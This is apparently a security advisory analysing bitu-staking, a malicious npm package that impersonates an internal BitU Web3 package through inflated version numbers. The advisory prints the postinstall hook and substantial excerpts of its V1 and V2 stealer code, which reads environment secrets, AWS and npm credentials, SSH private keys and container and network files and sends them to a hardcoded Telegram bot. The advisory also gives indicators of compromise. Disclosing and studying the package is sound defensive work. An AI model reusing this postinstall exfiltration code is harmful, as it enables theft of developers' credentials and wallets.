bitu-staking - Crypto Stealer — V2 Upgrade
Part of a ten-package cluster of malicious npm packages impersonating internal packages of a Web3/DeFi project named "BitU". bitu-staking is the only package in the cluster with two published versions: 99.0.0 carries the V1 payload (BITU_NPM_BEACON, shared with nine other packages) and 99.0.1 carries a significantly upgraded V2 payload (BITU_BEACON_V2). The V2 upgrade adds full SSH private key exfiltration (~/.ssh/id_rsa), SSH known_hosts (revealing internal infrastructure hostnames), SSH config (jump hosts and aliases), a complete unfiltered process.env dump, Docker/container environment via /proc/1/environ, mount point enumeration, /etc/hosts and /etc/resolv.conf, a running process list, and a broad filesystem sweep for .env*, *.key, *.pem, and private* files to depth 4. V2's deployment as a version bump to an existing package name rather than a new name indicates active iterative development and confirms an engaged threat actor.
Package
Threat Actor
UnknownTags
Package Metadata — Version Squatting
Both versions of bitu-staking carry the generic description "BitU module" with no author field, repository link, or homepage. Version numbers 99.0.0 and 99.0.1 use deliberately inflated version numbers — set high enough that npm will always resolve this public package over any internal one sharing the same name. index.js exports an empty object; all payload logic runs from scripts/postinstall.js via the postinstall lifecycle hook. The version bump from 99.0.0 to 99.0.1 was used to deploy the V2 payload upgrade rather than publishing a new package name.
package.json — same structure across both versions
{
"name": "bitu-staking",
"version": "99.0.1",
"description": "BitU module",
"main": "index.js",
"scripts": {
"postinstall": "node scripts/postinstall.js"
}
}
V1 Payload — Crypto Credential Stealer (99.0.0)
Version 99.0.0 carries the V1 payload, identical to the other nine bitu-* packages. Environment variables are filtered by regex matching KEY, SECRET, TOKEN, PRIVATE, PASSWORD, MNEMONIC, SEED, DEPLOYER, SIGNER, WALLET, AWS, INFURA, and ALCHEMY. The Foundry keystore check (~/.foundry/keystores/) confirms specific knowledge of the Ethereum development toolchain. All data exfiltrated to Telegram bot tagged BITU_NPM_BEACON.
scripts/postinstall.js (V1, 99.0.0) — crypto-targeted credential collection
const data = {
t: 'BITU_NPM_BEACON',
ts: new Date().toISOString(),
h: os.hostname(),
u: os.userInfo().username,
p: os.platform(),
cwd: process.cwd(),
env: Object.keys(process.env).filter(k =>
/KEY|SECRET|TOKEN|PRIVATE|PASSWORD|MNEMONIC|SEED|DEPLOYER|SIGNER|WALLET|AWS|INFURA|ALCHEMY/i.test(k)
).reduce((o,k) => { o[k] = process.env[k]; return o; }, {}),
allEnvKeys: Object.keys(process.env).join(','),
ssh: safeExec('ls -la ~/.ssh/ 2>/dev/null'),
aws: safeExec('cat ~/.aws/credentials 2>/dev/null'),
envFiles: safeExec('find ~ -maxdepth 3 -name ".env*" -type f 2>/dev/null'),
envContent: safeExec('find ~ -maxdepth 3 -name ".env*" -type f -exec cat {} \\; 2>/dev/null'),
foundryKeys: safeExec('ls -la ~/.foundry/keystores/ 2>/dev/null'),
gitConfig: safeExec('cat ~/.gitconfig 2>/dev/null'),
npmrc: safeExec('cat ~/.npmrc 2>/dev/null')
};
V2 Payload — Full Exfiltration Upgrade (99.0.1)
Version 99.0.1 carries a significantly upgraded payload tagged BITU_BEACON_V2. Relative to V1, V2 adds: full SSH private key file contents (not just a directory listing), SSH known_hosts revealing internal infrastructure hostnames, SSH config exposing jump hosts and aliases, a complete unfiltered process.env dump, Docker/container environment via /proc/1/environ enabling container escape reconnaissance, mount point enumeration, /etc/hosts and /etc/resolv.conf for internal network topology, a running process list, and a broad filesystem search for .env*, *.key, *.pem, and private* files across the entire filesystem to depth 4. The safeExec timeout was doubled to 10 seconds and safeRead caps increased to 4,000 characters. V2 messages to Telegram are tagged [V2 N/M] without Markdown formatting; a 1-second delay between chunks avoids Telegram rate limits.
scripts/postinstall.js (V2, 99.0.1) — additional capabilities vs V1
// New in V2 — full file reads using fs.readFileSync
sshPriv: safeRead(homedir + '/.ssh/id_rsa'), // full private key contents
sshPub: safeRead(homedir + '/.ssh/id_rsa.pub'),
sshKnown: safeRead(homedir + '/.ssh/known_hosts'), // internal infra hostnames
sshConfig: safeRead(homedir + '/.ssh/config'), // jump hosts, aliases
fullEnv: JSON.stringify(process.env), // all vars, unfiltered
// Container / cloud recon
dockerEnv: safeRead('/proc/1/environ'), // container environment
mounts: safeExec('mount 2>/dev/null | head -20'),
// Internal network topology
hosts: safeRead('/etc/hosts'),
resolv: safeRead('/etc/resolv.conf'),
// Process list
ps: safeExec('ps aux 2>/dev/null | head -20'),
// Broad filesystem secret hunt (maxdepth 4)
findEnv: safeExec('find / -maxdepth 4 -name ".env*" -o -name "*.key" -o -name "*.pem" -o -name "private*" 2>/dev/null'),
// V2 Telegram — 1-second delay between chunks
chunks.forEach((chunk, idx) => {
setTimeout(() => {
sendToTelegram(`[V2 ${idx+1}/${chunks.length}]\n${chunk}`);
}, idx * 1000);
});
Telegram C2 Exfiltration
Both payload versions report to the same hardcoded Telegram bot token and chat ID, shared across all ten packages in the cluster. Data is serialised as JSON and split into 3,500-character chunks. V1 messages are tagged [BITU-NPM N/M] with Markdown formatting; V2 messages are tagged [V2 N/M] without Markdown and with 1-second delays between chunks to avoid Telegram rate limits.
scripts/postinstall.js — shared Telegram C2 credentials
const botToken = '8797440605:AAEzk13-lD_Yif3TGP2fIGXhHgDBglTCpXk';
const chatId = '7604069194';
Indicators of Compromise
Malicious Packages
| Package | Version | Author | Notes |
|---|---|---|---|
| bitu-staking | 99.0.0 | — | V1 payload — BITU_NPM_BEACON; postinstall hook |
| bitu-staking | 99.0.1 | — | V2 payload — BITU_BEACON_V2; adds full SSH key, unfiltered env, container/network recon, broad filesystem sweep |
URLs
| URL | Context |
|---|---|
| hxxps://api.telegram[.]org/bot8797440605:AAEzk13-lD_Yif3TGP2fIGXhHgDBglTCpXk/sendMessage | Sole C2 — Telegram bot; chat_id 7604069194; shared across all ten bitu-* packages; used by both V1 and V2 |
Targeted File Paths
| Path | Context |
|---|---|
| scripts/postinstall.js | Payload entry point; invoked by npm postinstall lifecycle hook |
| ~/.foundry/keystores/ | Foundry Ethereum private key directory listed; confirms Web3/DeFi developer targeting |
| ~/.aws/credentials | AWS credential file read in full |
| ~/.gitconfig | Git user identity — developer identification |
| ~/.npmrc | npm auth tokens and registry config |
| ~/.ssh/id_rsa | V2 only — full SSH private key contents read and exfiltrated |
| ~/.ssh/id_rsa.pub | V2 only — SSH public key |
| ~/.ssh/known_hosts | V2 only — reveals internal infrastructure hostnames |
| ~/.ssh/config | V2 only — exposes jump hosts and internal SSH aliases |
| /proc/1/environ | V2 only — container environment block; enables container escape reconnaissance |
| /etc/hosts | V2 only — internal network topology |
| /etc/resolv.conf | V2 only — DNS resolver config; reveals internal nameservers |
Environment Variables / Config Paths
| Artefact | Context |
|---|---|
| MNEMONIC / SEED | Wallet mnemonic / seed phrase — direct wallet compromise |
| PRIVATE / PRIVATE_KEY / DEPLOYER | Ethereum private keys for contract deployment |
| INFURA_KEY / ALCHEMY_KEY / ALCHEMY | RPC provider API keys |
| SIGNER / WALLET | DeFi signer/wallet credentials |
| AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY | AWS credentials — cloud infrastructure access |
| * (all env vars, unfiltered) | V2 only — fullEnv field sends complete process.env without any filtering |